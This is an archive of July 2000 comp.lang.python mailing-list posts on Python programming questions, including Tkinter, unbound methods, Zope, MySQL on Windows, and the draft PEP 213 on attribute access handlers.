From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Sat, 1 Jul 2000 22:07:33 +0100
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net>
Message-ID: <8jlmj0$r1q$1@supernews.com>

Start simple.

Unless this is particularly time critical, I'd create a folder on the Build
server  and share it with suitably limited access.

Give the Web server write access to the folder.

The Web server writes a batch file or Python script to the shared directory.

Every few minutes the Build server checks this folder for a file and
executes it.

If you need some feedback, it could change the name of the file or move it
to a subdirectory while it's running so the Web server can see it's active.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

donotspam-jen at personic.com <dnotspam-jen at personic.com> wrote in message
news:395d48b3$0$21842 at wodc7nh0.news.uu.net...
> FYI, I'm doing all of this on Windows NT, in case that makes a difference
> ...
>
> Is there a good way to get a script on one computer to talk to a script on
> another computer?  The process I'm thinking of is pretty simple ... I want
a
> script on a Web server to be able to send a command to a build server to
> start a build process.  I'd also like the Web server to be able to query
the
> build servers to find out their status (so that two builds do not run at
> once on the same machine, for example).
>
> I've read a little about SOAP, but I think that my needs are probably a
lot
> simpler than that.  The easiest way to accomplish this is to setup a Web
> server on each of the build machines, too, I guess ... but I was hoping
that
> I could just have the scripts that run on the build servers run as NT
> services.
>
> Thanks!
>
> Jen
>
>
>
>




From dberlin at cygnus.com  Sun Jul  2 23:09:14 2000
From: dberlin at cygnus.com (Daniel Berlin)
Date: 02 Jul 2000 23:09:14 -0400
Subject: Referring to method of a class without instance?
In-Reply-To: gmol@my-deja.com's message of "Mon, 03 Jul 2000 02:32:37 GMT"
References: <8jou05$mei$1@nnrp1.deja.com>
Message-ID: <86r99bewpx.fsf@dan2.cygnus.com>

gmol at my-deja.com writes:


> In my application I use the observer/observable pattern..question
> I hate duplicating the information of what was changed by making up a
> new message type (global message variables or strings) and using tonnes
> of if-else clauses.  I'd rather just tell my observer which method was
> called and the arguments passed to it.  (I.e. I have atoms in 3d space,
> when setPosition(position) is called I would just like to tell whoever
> is interested that setPosition was called with the argument position))
> 
> Problem, how do I refer to the method of a given class without making an
> instance?  Like suppose I notify my observers by giving the funciton
> address and arguments, I would like the observer to have a dictionary
> whose keys are methods
> 
> class Atom:
> ....
> 
> 
> class myobserver:
> ...
> 
>    updateTable={....
>        Atom.setPosition:handle_A_setPositio
>     }
> ...
> 
> Hmm I have also just realized that given
> class A:
>  def __init__(self...)
> 
> a=A()
> 
> a.init is not equal to A.__methods__['__init__']
> 
> Hmmm I thought that would be the worst way I could do it, but I guess I
> couldn't if I wanted to...
> 
> Any thoughts or better general solution would be appreciated...
>


This is a simple problem.

Try A.__init__
>>> class B:
...     def __init__(self):
...             pass
...
>>> B.__init__
<unbound method B.__init__>
>>>               __

If you try to call it without a class instance as the first parameter, you'll get an error.

>>> B.__init__(5)
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: unbound method must be called with class instance 1st argument

Otherwise, it'll work fine.

>>> B.__init__(B())  

HTH,
Dan



From jhe at webde-ag.de  Mon Jul 31 10:54:27 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Mon, 31 Jul 2000 16:54:27 +0200
Subject: Accessing NIC configuration via Python
References: <8Rfh5.23380$07.914891@news1.rdc1.on.wave.home.com>
Message-ID: <8m43rk$g0d$1@pollux.ip-plus.net>

"Micheal Kelly" <michealk at newlix.com> schrieb im Newsbeitrag
news:8Rfh5.23380$07.914891 at news1.rdc1.on.wave.home.com...
> I could do this by parsing the output of ifconfig, but for various reasons
> don't want to do that.  Is there any sort of low-level interface that I
> can access via Python to get this information?  I've looked through /proc
> to see if there was something I could read, but nothing that seems to
> contain the information I'm after.

SIOCGIFADDR via ioctl() on a socket() (which does not have to be connected).
Was mentioned in several news articles in the last two weeks.

Bye, J?rgen




From rob at hooft.net  Wed Jul 19 06:16:00 2000
From: rob at hooft.net (Rob W. W. Hooft)
Date: Wed, 19 Jul 2000 12:16:00 +0200 (CEST)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <Pine.GSO.4.10.10007191300510.20546-100000@sundial>
References: <14709.31813.259826.332843@temoleh.chem.uu.nl>
	<Pine.GSO.4.10.10007191300510.20546-100000@sundial>
Message-ID: <14709.32736.512813.306302@temoleh.chem.uu.nl>

>>>>> "MZ" == Moshe Zadka <moshez at math.huji.ac.il> writes:

 >> I will subtract my proposal, and submit a bug report that those
 >> test() routines are undocumented.

 MZ> Why? It's quite alright that there will be undocumented routines
 MZ> in modules. This is a module implementation issue. (If you want
 MZ> to test that the module is working, you can look inside)

I agree that there can be internal routines in a module. But:

 - python has a nice way of hiding those routines from the casual user
   of the library, namely adding an '_' before the name.

 - you already argued that base64.test() provided useful functionality.
   Why not document it?

Rob

-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========



From mallor at 3DProgrammer.com  Thu Jul 20 08:06:24 2000
From: mallor at 3DProgrammer.com (Mallor)
Date: Thu, 20 Jul 2000 12:06:24 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl>
Message-ID: <4XBd5.1595$U56.58279@newsread1.prod.itd.earthlink.net>

"Martijn Faassen" <m.faassen at vet.uu.nl> wrote in message
> --
> History of the 20th Century: WW1, WW2, WW3?
> No, WWW -- Could we be going in the right direction?

Cyberwar?

--
Cheers,             Infernal Troublemaker                    Troll
Mallor              "By simple mistake, mortals themselves amuse."





From darrell at dorb.com  Tue Jul 11 00:00:04 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Mon, 10 Jul 2000 21:00:04 -0700
Subject: time zone
Message-ID: <025501bfeaec$7ea865d0$6401a8c0@home>

Noticed that running Win2k python 1.5.2 doesn't set the timezone correctly.
Played around with the environment variable TZ and things work now.

set TZ=GMT+8EST;1/1,1/1

I'm too lazy to figure out the day light savings stuff.
How is this supposed to work?

Haven't check 1.5.6 yet.

--Darrell Gallion










From cobrien at Radix.Net  Tue Jul 11 08:38:45 2000
From: cobrien at Radix.Net (Cary O'Brien)
Date: 11 Jul 2000 08:38:45 -0400
Subject: Python and SSH
Message-ID: <8kf4gl$fqm$1@saltmine.radix.net>

I'd like to have a running python process ACCEPT an incoming SSH
connection.  Any ideas on how I could do this?

-- cary




From mmiller3 at iupui.edu  Thu Jul  6 18:34:24 2000
From: mmiller3 at iupui.edu (Michael A. Miller)
Date: 06 Jul 2000 17:34:24 -0500
Subject: splitting an avi image into a sequence of images with python?
Message-ID: <87em567urz.fsf@lumen.med.iupui.edu>

I'd like to split some avi files into image sequences.  Is there
already a module out there that will help me do that?

Mike

-- 
Michael A. Miller                      mmiller3 at iupui.edu
  Krannert Institute of Cardiology, IU School of Medicine
  Indiana Center for Vascular Biology and Medicine


From neilh at scintilla.org  Mon Jul 10 21:29:30 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 11 Jul 2000 01:29:30 GMT
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter problems)
References: <200007110027.RAA16246@stevie.loop.com> <8kdrnd$j8b$1@nnrp1.deja.com>
Message-ID: <_Lua5.13223$Tb7.89061@news-server.bigpond.net.au>

> There are a few problems, however.  os.system takes a _long_ time to
> get the interpreter running and blanks my screen while it does it.  It
> would be nice if there was some more efficient command to start the
> interpreter.

   This may just be the slow python.exe startup because of multimedia
problem. If Python is also slow to start up from the command line search
Deja at http://www.deja.com/=dnc/home_ps.shtml for the "Python
startup seems slow" thread on comp.lang.python.

   Neil





From see at my.signature  Tue Jul 25 01:37:11 2000
From: see at my.signature (Greg Ewing)
Date: Tue, 25 Jul 2000 17:37:11 +1200
Subject: New PEP: Attribute Access Handlers
References: <m13Gayu-000wcDC@swing.co.at> <397BE56C.6CEA865@prescod.net>
Message-ID: <397D2787.A590170@my.signature>

Paul Prescod wrote:
> 
> __getattr__ will also take longer to get to until today.

But using __getattr__ is so horribly inefficient anyway, I don't
think anyone will notice.

> Okay, so let's say I have a get function but no set function. Won't the
> very first "set" put a variable in the dictionary so that future "gets"
> will fail according to the algorithm you described?

Doesn't that happen now if you have a __getattr__ but
no __setattr__? If it's a problem in a given case, the
solution would seem to be to provide a set method.
("Don't do that, then!")

The opposite situation -- a set method but no get
method -- is probably going to be more common, and
will work correctly (provided the implementation
doesn't purloin the dict slot for the attribute name
itself).

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From kain at cableadmin.com  Fri Jul 21 20:56:48 2000
From: kain at cableadmin.com (Scott)
Date: Sat, 22 Jul 2000 00:56:48 GMT
Subject: MySQL on Win9X
References: <slrn8ngf36.f1p.kain@cableadmin.com> <IoYd5.199$kp4.2368@m2newsread.uni2.es> <k86e5.8492$4p3.62137@news-server.bigpond.net.au>
Message-ID: <slrn8nhs8j.lu4.kain@cableadmin.com>

I'm sorry, perhaps I was a little vague.  What I meant was a precompiled
(ie .pyd) version of one of the Python MySQL modules (ie MySQLdb).  If
someone happens to have built the package for a standard Win98 install of
Python 1.5.2, I'd appreciate if you could make that available.

Thanks,
Scott

On Sat, 22 Jul 2000 00:45:04 GMT, Steve <SCook at pobox.com> wrote:
>Go here http://www.mysql.com/downloads/mysql-3.23.html
>
>You can download the official Win9x/NT install package.  MySQL 3.23 is now
>under the GPL so you can get it for windows without paying for it, like you
>have to for 3.22
>
>
>"Fernando Rodr?guez" <frr at mindless.com> wrote in message
>news:IoYd5.199$kp4.2368 at m2newsread.uni2.es...

-- 
-------------------------------------------------------------------------------
"That's a deer shooting hat."
"Like hell it is.  This is a people shooting hat.  I shoot people in this hat."



From kpmurphy at my-deja.com.bbs  Mon Jul 17 15:10:05 2000
From: kpmurphy at my-deja.com.bbs (kpmurphy at my-deja.com.bbs)
Date: 17 Jul 2000 19:10:05 GMT
Subject: grid
Message-ID: <3bRMLT$l5r@openbazaar.net>

can you embed grids?  ...what i'd like to do is grid within several
frames, and then grid the frames together.  sort of like html tables...
i hate pack.

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From colinmeeks at home.com  Fri Jul 28 08:07:38 2000
From: colinmeeks at home.com (Colin Meeks)
Date: Fri, 28 Jul 2000 12:07:38 GMT
Subject: PY to HTML
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>
Message-ID: <eIeg5.3766$kh.452385@news2.rdc2.on.home.com>

Excellent.  Thanks.

Colin




From rloisel at helicon.net  Mon Jul 31 19:41:39 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Mon, 31 Jul 2000 19:41:39 -0400
Subject: Running a script in IDLE?
Message-ID: <39860EB3.22EAFF7E@helicon.net>

In CH6 of  Laningham's "Teach Yourself Python ..." the text
shows running an example script in a DOS window and IDLE.
I loaded the file into IDLE which created a new window for
the script but could find no way to run that script without typing
it over again in the inter-active IDLE window.  It would be so
much easier to run scripts from IDLE if that's possible.

btw - IDLE responds to my voice-rec. program and that sure
saves a lot of typing ...

rloisel at helicon.net Rodney Loisel Enfield NH.



From bjorn at roguewave.com  Sat Jul 22 00:48:21 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 22:48:21 -0600
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net>
Message-ID: <39792795.B5B0D18C@roguewave.com>

Justification, Scenario 4:

   An existing class has a string attribute, however the most common
operation on it is appending to the end. Through the profiler you find
that this operation is taking up 95% of the applications time. You want
to change the implementation to cStringIO for efficiency (total
execution time for your application goes from 90 seconds to 3 secs).

True story :-)

Perhaps you should add a few words about why you chose __attr_XXX__
instead of __set/get/del_XXX__?  Would both of them work for
introspection for e.g. a GUI builder? I seem to remember that JavaBeans
<shudder> looks for the presence of set/get methods to make attributes
available, I'm not sure if Python could look at an objects __dict__ for
that information under this proposal?

-- bjorn

Paul Prescod wrote:
> 
> http://python.sourceforge.net/peps/pep-0213.html
> 
> PEP: 213
> Title: Attribute Access Handlers
> Version: $Revision: 1.3 $
> Owner: paul at prescod.net (Paul Prescod)
> Python-Version: 2.0
> Status: Incomplete
> 
> Introduction
> 
>      It is possible (and even relatively common) in Python code and
>      in extension modules to "trap" when an object's client code
>      attempts to set an attribute and execute code instead. In other
>      words it is possible to allow users to use attribute assignment/
>      retrieval/deletion syntax even though the underlying implementation
>      is doing some computation rather than directly modifying or
> reporting
>      a binding.
> 
>      This PEP describes a feature that makes it easier, more efficient
>      and safer to implement these handlers in Python class instances.
> 
> Justification
> 
>     Scenario 1:
> 
>         You have a deployed class that works on an attribute named
>         "stdout". After a year, you think it would be better to
>         check that stdout is really an object with a "write" method
>         at the moment of assignment. Rather than change to a
>         setstdout method (which would be incompatible with deployed
>         code) you would rather trap the assignment and check the
>         object's type.
> 
>     Scenario 2:
> 
>         You want to be as compatible as possible with an object
>         model that has a concept of attribute assignment. It could
>         be the W3C Document Object Model or a particular COM
>         interface (e.g. the PowerPoint interface). In that case
>         you may well want attributes in the model to show up as
>         attributes in the Python interface, even though the
>         underlying implementation may not use attributes at all.
> 
>     Scenario 3:
> 
>         A user wants to make an attribute read-only.
> 
>     In short, this feature allows programmers to separate the
>     interface of their module from the underlying implementation
>     for whatever purpose. Again, this is not a new feature but
>     merely a new and more robust syntax for something that can
>     already be implemented.
> 
> Current Solution
> 
>     To make some attributes read-only:
> 
>     class foo:
>        def __setattr__( self, name, val ):
>           if name=="readonlyattr":
>              raise TypeError
>           elif name=="readonlyattr2":
>              raise TypeError
>           ...
>           else:
>              self.__dict__["name"]=val
> 
>      This has the following problems:
> 
>      1. The creator of the method must be intimately aware of whether
>         somewhere else in the class hiearchy __setattr__ has also been
>         trapped for any particular purpose. If so, she must specifically
>         call that method rather than assigning to the dictionary. There
>         are many different reasons to overload __setattr__ so there is a
>         decent potential for clashes. For instance object database
>         implementations often overload setattr for an entirely unrelated
>         purpose.
> 
>      2. The string-based switch statement forces all attribute handlers
>         to be specified in one place in the code. They may then dispatch
>         to task-specific methods (for modularity) but this could cause
>         performance problems.
> 
>      3. Logic for the setting, getting and deleting must live in
>         __getattr__, __setattr__ and __delattr__. Once again, this can
>         be mitigated through an extra level of method call but this is
>         inefficient.
> 
> Proposed Syntax
> 
>     Special methods should declare themselves with definitions of the
>     following form:
> 
>     class x:
>         def __attr_XXX__(self, op, val ):
>             if op=="get":
>                 return someComputedValue(self.internal)
>             elif op=="set":
>                 self.internal=someComputedValue(val)
>             elif op=="del":
>                 del self.internal
> 
>     Client code looks like this:
> 
>     inst=x()
>     fooval=inst.XXX
>     inst.XXX=fooval+5
>     del x.XXX
> 
>  Semantics
> 
>      Attribute references of all three kinds should call the method.
>      The op parameter can be "get"/"set"/"del". Of course this string
>      will be interned so the actual checks for the string will be
>      very fast.
> 
>      It is disallowed to actually have an attribute named XXX in the
>      same instance dictionary as a method named __attr_XXX__.
>      If both are declared in a class then the last one declared
>      replaces the other one.
> 
>      An implementation of __attr_XXX__ takes precedence over an
>      implementation of __getattr__ based on the principle that
>      __getattr__ is supposed to be invoked only after as a
>      last resort after an appropriate attribute lookup has failed.
> 
>      An implementation of __attr_XXX__ takes precedence over an
>      implementation of __setattr__ in order to be consistent. The
>      opposite choice seems fairly feasible also, however. The same
>      goes for __del_y__.
> 
> Proposed Implementation
> 
>     There is a new object type called an attribute access handler.
>     Objects of this type have the following attributes:
> 
>        name (e.g. XXX, not __attr__XXX__
>        method (pointer to a method object
> 
>     Class construction
> 
>         In PyClass_New, methods of the appropriate form will be
>         detected and converted into objects (just like unbound method
>         objects). These are stored in the class __dict__ under the name
>         XXX. The original method is stored as an unbound method under
>         its original name.
> 
>         If there are any attribute access handlers in an class at all,
>         a flag is set. Let's call it "I_have_computed_attributes" for
>         now. Derived classes inherit the flag from base classes.
> 
>     Instance construction
> 
>         Instances inherit the "I_have_computed_attributes" flag from
>         classes. No other changes to PyInstance_New are anticipated.
> 
>     Property fetching
> 
>         At the layer, Python instance attribute lookup is always done
>         through PyInstance_getattr.
> 
>         A "get" proceeds as usual until just before the object is
>         returned.  In addition to the current check whether the returned
>         object is a method it would also check whether a returned object
>         is an access handler. If so, it would invoke the getter method
>         and return the value. To remove an attribute access handler you
>         could directly fiddle with the dictionary.  Gets should be more
>         efficient than they are today with __getattr__ and no different
>         for classes that do not use the feature at all.
> 
>         A set proceeds by checking the "I_have_computed_attributes"
>         flag. If it is not set, everything proceeds as it does today. If
>         it is set then we must do a dictionary get on the requested
>         attribute name. If it returns an attribute access handler then
>         we call the setter function with the value. If it returns any
>         other object then we discard the result and continue as we do
>         today. Note that having an attribute access handler will mildly
>         affect attribute "setting" performance for all sets on a
>         particular instance, but no more so than today, using
>         __setattr__.
> 
>         The I_have_computed_attributes flag is intended to eliminate the
>         performance degradation of an extra "get" per "set" for objects
>         not using this feature. Checking this flag should have miniscule
>         performance implications for all objects.
> 
>        The implementation of delete is basically identical to the
>        implementation of set.
> 
> Caveats
> 
>     1. You might note that I have not proposed any logic to keep
>        the I_have_computed_attributes flag up to date as attributes
>        are added and removed from the instance's dictionary. This is
>        consistent with current Python. If you add a __setattr__ method
>        to an object after it is in use, that method will not behave as
>        it would if it were available at "compile" time. The dynamism is
>        arguably not worth the extra implementation effort. This snippet
>        demonstrates the current behavior:
> 
>         >>> def prn(*args):print args
>         >>> class a:
>         ...    __setattr__=prn
>         >>> a().foo=5
>         (<__main__.a instance at 882890>, 'foo', 5)
> 
>         >>> class b: pass
>         >>> bi=b()
>         >>> bi.__setattr__=prn
>         >>> b.foo=5
> 
>      2. Assignment to __dict__["XXX"] can overwrite the attribute
>         access handler for __attr_XXX__. Typically the access handlers
>         will store information away in private __XXX variables
> 
>      3. An attribute access handler that attempts to call setattr or
>         getattr on the object itself can cause an infinite loop (as with
>        __getattr__) Once again, the solution is to use a special
>        (typically private) variable such as __XXX.
> 
> --
>  Paul Prescod - Not encumbered by corporate consensus
> New from Computer Associates: "Software that can 'think', sold by
> marketers who choose not to."
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From thomas_s at ebox.tninet.se  Sun Jul  2 09:15:52 2000
From: thomas_s at ebox.tninet.se (thomas_s at ebox.tninet.se)
Date: Sun, 02 Jul 2000 14:15:52 +0100
Subject: Tkinter and default options
Message-ID: <8jnbhm$bb6$1@cubacola.tninet.se>

Hello,

I'm using Tkinter for the GUI parts of a little game I'm working on. What is
the best way of setting default options of the widgets?  For instance I
want all widgets to have fg='green' and bg='black'. Is there a standard
way of doing this? If not, I was thinking of maybe writing a widget factory
that creates and configures them for me.

Thank,
Thomas



From matt at mondoinfo.com  Wed Jul 12 00:27:20 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Tue, 11 Jul 2000 23:27:20 -0500
Subject: [ANN] swallow.py: Unix GUI MUA
Message-ID: <110720002327208153%matt@mondoinfo.com>

swallow.py is an open-source GUI MUA (mail user agent) for Unix written
in Python. It uses Tkinter for its GUI, retrieves mail via POP, sends
it via SMTP, and stores it in Maildir format. It is hacker-ware.
WARNING: It is in an alpha state of reliability.

The current version is available at:
http://www.visi.com/~mdc/swallow/


From hzhu at localhost.localdomain  Tue Jul 18 16:07:39 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 20:07:39 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <qnkem4scj0z.fsf@arbutus.physics.mcmaster.ca> <39745372.EDCBF4FF@fft.be>
Message-ID: <slrn8n9ef6.so.hzhu@rock.localdomain>

On Tue, 18 Jul 2000 14:54:10 +0200, Gregory Lielens <gregory.lielens at fft.be>
wrote: 

>I think that it is the more elegant solution if the introduction of new
>operators is rejected...
>This could turn to be even more elegant, if it allow something like
>C = A.I*b  to be equivalent to Matlab's C = A\b, i.e. without any
>inversion of matrix A.

Wait.  Wouldn't this be in fact an operator .I* acting on a and b?  I would
think this is more than the additional operator .* etc.  Module writers
would have a feast on the abundance of supplies.  :-)

>This kind of "retarded" evaluation could even lead to further
>optimizations, and I tink
>that the trace-back problem is avoided if we can ensure that any new
>matrix that is produced and returned
>by an expression evaluation or a function is always in a "blank" state,
>i.e. without any I, T, H,... flag
>on...

Maybe Travis can answer this: how is transpose implemented in NumPy today?
Does it produce a new copy or just changes the indexing?  

Huaiyu


From nobody at nowhere.nohow  Wed Jul  5 22:01:55 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Thu, 06 Jul 2000 02:01:55 GMT
Subject: Two Tkinter questions (long)
References: <sn66qkgrfv.fsf@motorola.com> <QXO85.3118$iN5.767799@ptah.visi.com> <JbP85.13738$ll.84983@news1.rdc1.az.home.com>
Message-ID: <nMR85.3133$iN5.774200@ptah.visi.com>

On Wed, 05 Jul 2000 23:06:17 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:

>> Functions bound to events need to take an event as a parameter
>> (if you don't want the event, you can use lambda to discard it):
>>
>> self.filter_entry.bin('<Return>', labda event: self.do_filter())
>
>You still needs to bind self to a default variable in order for it to be
>accesible inside the lambda, e.g,
>
>self.filter_entry.bin('<Return>', lambda event, self=self :
>self.do_filter())

Oops.

The example I had in front of me at the time was binding a
method bound to a global object.  

Any non-global values that are referenced inside the lamba
expression have to be passed in as default valued parameters.

This seems a bit obtuse at first, but it's an extremely handy
thing to know.

A common example of this is creating command functions on the
fly for a bunch of buttons -- something like this snippet which
fills with buttons a "matrix" that represents a chessboard.

For each of the buttons, I want board.toggleSpace() called with
the coordinates of the particular button [some details in the
code have been elided]:

    for y in range(size):
        for x in range(size):
            b = Button(f,bitmap='@%s' % bitmapfile, [...])
	    b.bind("<Button-1>",lambda event,xx=x,yy=y: board.toggleSpace(xx,yy))

In this examle, "board" is a global object, so it can be
referenced directly, but the values for x and y have to be
passed in as default values for parameters, otherwise "x" and
"y" will be evaluated when the button is pressed (and it will
be an error since they won't be around).

What I want is for "x" and "y" to be evaluated at the time the
"bind" method is called, and their values "frozen" and passed
to toggleSpace() later.  Hence the old "default-valued-parameterized-labmda" 
trick.

It will start to make sense after you've used it three or four
times...

-- 
Grant Edwards                   grante             Yow!  Are you selling NYLON
                                  at               OIL WELLS?? If so, we can
                               visi.com            use TWO DOZEN!!


From rgparker at west.net  Mon Jul 10 16:09:41 2000
From: rgparker at west.net (Randall Parker)
Date: Mon, 10 Jul 2000 20:09:41 GMT
Subject: Run Python as separate process with Apache?
References: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com> <14697.3435.929500.668699@beluga.mojam.com>
Message-ID: <MPG.13d3ce54eebafde2989820@news.onlynews.com>

In news:<14697.3435.929500.668699 at beluga.mojam.com>, skip at mojam.com 
says...
>     Randall> 1) Have a persistent Python process that processes http
>     Randall>    requests.
> 
> Yup, Medusa, Zope, the ZServer part of Zope (which is a lightly touched up
> Medusa), 

Is ZServer written in Python? 

Is all of Zope a Python-based app server?

I went and looked at the http://www.zope.org site (I've seen Jon Udell 
rave about it in the past btw) and saw that it sounds like it is somehow 
more tightly tied to Python than to other scripting languages. Is that 
correct?

>or something based on the HTTPServer class in the Python core
> should do the trick.  I use ZServer listening on 127.0.0.2 at port 9673 and
> have Apache running on the same machine with proxy support.  It then proxies
> to the server only those things I want the ZServer to see.

So there is a plug-in for Apache that can route requests to ZServer?

I did something with Java Servlets and the Tomcat engine where one can 
basically set a pattern in some config file that tells Apache that any 
urls that start with:
    http://www.somedomain.com/webapps
 should be routed to Tomcat. So this is possible to do with Apache and 
ZEngine and Apache can still handle all URLs that don't have a leading 
/webapps pattern?


> My ZServer then talks to a MySQL database using the MySQLdb module.  If you
> want SQL connection capability I suspect you'll find Zope is much closer to
> a complete solution.

Does ZServer support other RDBMSs? 

MySQL doesn't scale high enough for what I have in mind. I've used it on 
a smaller project but am reluctant to use it on something big. Besides, 
its lacking transactions, subselects (what a pain) and some other stuff 
I've become accustomed to using. 

See a MySQL/Postgres comparison here:
   http://www.phpbuilder.com/columns/tim20000705.php3

> Then I think you probably really want Zope.  There are tons of contributed
> Zope products available.  There's bound to be one that will do session id
> management. 
 
With the Servlet API the actual act of asking for a session id causes the 
Tomcat engine (or any servlet api compliant container) to create one if 
it already doesn't exist and then to go set a cookie on the client 
browser all seamlessly without your having to do anything. Then it will 
do timeouts on the session id based on how long since it was last asked 
for. I'm hoping I can find something as slick and automatic in the 
Zope/Python world.



From sblakey at freei.com  Wed Jul 19 19:15:58 2000
From: sblakey at freei.com (Sean Blakey)
Date: Wed, 19 Jul 2000 16:15:58 -0700
Subject: HTTPS support?
Message-ID: <20000719161558.A1809@freei.com>

Are there any current SSL libraries for Python?  A quick search of goole and
Parnassus turned up some older links and some RPMS for a hack to 1.5.1 (I may
have to figure out how to dissasemble an RPM - I develop on FreeBSD).

Does anybody know of a commercially usable Python SSL library that works with
current (1.5.2) Python?
    -Sean

-- 
Sean Blakey, sblakey at freei.com
Software Developer, FreeInternet.com
(253)796-6500x1025
Decaffeinated coffee?  Just Say No.



From paul at prescod.net  Mon Jul 24 12:16:24 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 11:16:24 -0500
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <397C5DD3.437C4431@eecis.udel.edu>
Message-ID: <397C6BD8.9BDBB174@prescod.net>

Charles Boncelet wrote:
> 
> ...
> 
> What's wrong with "tuples"?  That's the term used by M.A.L. in
> his package, mxtools.  It seems the most natural (and Pythonic)
> to me.

I also liked tuples but some complained that it was only one character
away from "tuple". mktuples or maketuples would be better.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From grey at despair.rpglink.com  Fri Jul 28 20:54:38 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 00:54:38 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <39822505.73DA6F60@alcyone.com>
Message-ID: <slrn8o4amb.7dm.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 17:27:49 -0700, Erik Max Francis <max at alcyone.com> wrote:
>and don't make any sense for language with strong typing.  Python isn't
>Perl, it's Python.

    Duh.  Thank you for so pointing out what I have stated several times.  You
know, everyone else has been quite civil and I've learned a lot.  You, you
just piss me off.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From rumjuggler at cryptarchy.org  Sun Jul 23 01:07:57 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sun, 23 Jul 2000 05:07:57 GMT
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <8ldkf7$7km$1@nntp9.atl.mindspring.net> <397A616E.A9549B93@san.rr.com>
Message-ID: <0ovknsk976fjdd8hf25cki982ju3l67rkg@4ax.com>

On Sun, 23 Jul 2000 03:04:13 GMT, Courageous <jkraska1 at san.rr.com> wrote:

>
>> Not currently.  Look at all the threads about zip(), marry(), braid(),
>> etc.
>
>Perhaps this should be folded into the map function?
>Ala, lisp:
>
>(map nil #'(lambda (i j) ...) list-one list-two)

Right now, map(None, ...) will do what the proposed zip() function does,
but zip() will be lazy, as is my understanding.

-- 
Barnabas T. Rumjuggler

Hey, does anyone remember when Matt McIrvin was talking about how he
remembered the day when he read something about someone reminiscing about
Frank Zappa talking about when nostalgia was better than it had become?
That was really cool, far better than this degenerate age.
 -- jmbay, in ark


From jim at digicool.com  Tue Jul 11 17:53:31 2000
From: jim at digicool.com (Jim Fulton)
Date: Tue, 11 Jul 2000 17:53:31 -0400
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002001bfea62$21eabdf0$f0c809c0@lslp7o.lsl.co.uk> <8kcqug$p32$1@newshost.accu.uu.nl>
Message-ID: <396B975B.D821A4D3@digicool.com>

Martijn Faassen wrote:
> 
(snip)
> > One of the interests of the people in Glasgow is how one copes with data
> > that may be distributed over many computers. This includes issues such as
> > how do you fallback to another copy of the data, how do you decide
> > whether/when to cache locally, and if so when to update, etc.
> 
> Zope's ZEO is going into this area. I haven't looked at it myself, but
> basically you can cluster several copies of the ZODB together. In the
> case of ZEO there's the case of a single point of failure (the central
> front-end machine), however. But ZEO is definitely very cool. Not a lot
> of code either from what I've seen.

We've recently worked out (with help from Dr. Sushil Jajodia of
George Mason U.) a protocol for replicating ZEO storage servers.
